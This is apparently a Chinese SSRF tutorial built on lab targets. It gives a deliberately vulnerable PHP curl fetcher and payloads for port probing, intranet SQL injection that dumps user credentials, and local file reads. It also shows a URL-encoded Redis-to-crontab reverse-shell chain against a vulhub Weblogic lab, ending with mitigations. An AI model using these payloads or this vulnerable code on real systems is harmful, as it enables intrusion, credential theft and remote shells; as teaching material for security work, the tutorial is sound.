服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击
服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。
对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。
没对响应的结果进行检验,直接输出。
端口扫描;
内网Web 应用指纹识别;
攻击内网应用;
读取本地文件;
利用curl 实现,需要PHP 扩展组件curl 支持,如果要使用以下代码复现,记得在当前php文件中创建curled文件夹
ssrf_curl
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = './curled/'.time().".txt";
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp);
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);
curl_close($curlObj);
fclose($fp);
if(getimagesize($fileName)){
header("Content-Type:image/png");
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
http://localhost/ssrf/ssrf_curl.php?url=http://yuanboss.qz9hr6.dnslog.cn
经过DNSLog回显,可以知道此处存在SSRF漏洞
http://localhost/ssrf/ssrf_curl.php?url=http://localhost:3306
有些应用是部署在内网的
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
http://localhost/ssrf/ssrf_curl.php?url=http://127.0.0.1/phpmyadmin4.8.5/readme
内网安全通常都很薄弱。
通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。
在http服务的配置文件中,我们可以进行如下配置,表示禁用所有主机访问cms目录,然后只允许127.0.0.1访问cms,这样就可以营造一个只允许内网访问的环境。
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
我们利用ssrf_curl.php的SSRF漏洞,攻击内网的cms网站,实现sql注入。
http://localhost/ssrf/ssrf_curl.php?url=http://127.0.0.1/cms/show.php?id=-33/*yuan*/union/*boss*/select/*yuanboss*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_users
解释:由于我们是利用目标服务器去进行sql注入的,所以执行sql命令的时候命令中不允许出现空格,如果出现空格了,我们注入的sql语句就不属于
http://127.0.0.1/cms/show.php?
的参数值了,而是属于我们本地的,因此目标服务器就无法使用我们的sql注入语句进行执行。所以我们需要用sql语法中的/**/
这个注释语法代替sql中的空格。
如图可知,我们通过联合查询获得了相关信息。为什么说这是是攻击内网应用呢,因为有的目标服务器的网站设置了白名单,只允许内网主机进行访问,所以我们无法进行漏洞利用,这个时候如果发现一个我们可以访问的网站存在SSRF漏洞,我们就可以利用这个网站,把他当做肉鸡,让他访问只允许内网访问的网站,甚至让他帮我们进行漏洞利用。
http://localhost/ssrf/ssrf_curl.php?url=file:///c:/windows/system32/drivers/etc/hosts
vulhub靶场地址:Weblogic SSRF漏洞
原理:借助redis的协议编写tcp stream,从而完成对redis的命令执行。
redis协议特别简单,协议格式如下
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
所以编写出tcp stream就非常简单,把需要执行的命令按照上面的格式拼凑出来就行
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码(“GET”请求,可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令的)
因此:
编码后构造payload
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后在自己的公网机上nc监听2333端口
nc -lvp 2333 (或nc -l 2333)
然后发送请求即可查看到反弹的shell
经过DNSLog回显,可以知道此处存在SSRF漏洞
由于返回信息的不同,根据返回信息,可以确定端口是否开放
这里就根据vulhub教程讲述思路了,因为这个靶场比较复杂,导致docker启动靶场失败,所以就没必要继续钻下去了,我们只需要学会思路即可,下面的复现步骤大多数是参考vulhub官网的复现步骤,也可以直接到这个链接复现:vulhub靶场地址:Weblogic SSRF漏洞
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379
可以连通:
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功反弹:
最后补充一下,可进行利用的cron有如下几个地方:
限制协议,仅允许 http 或 https 协议;
限制IP,避免应用被用来获取内网数据,攻击内网;
限制端口,限制请求端口为常用端口。
过滤返回信息,只要不符合要求的,全部过滤;
统一错误信息,让攻击无法对内网信息进行判断。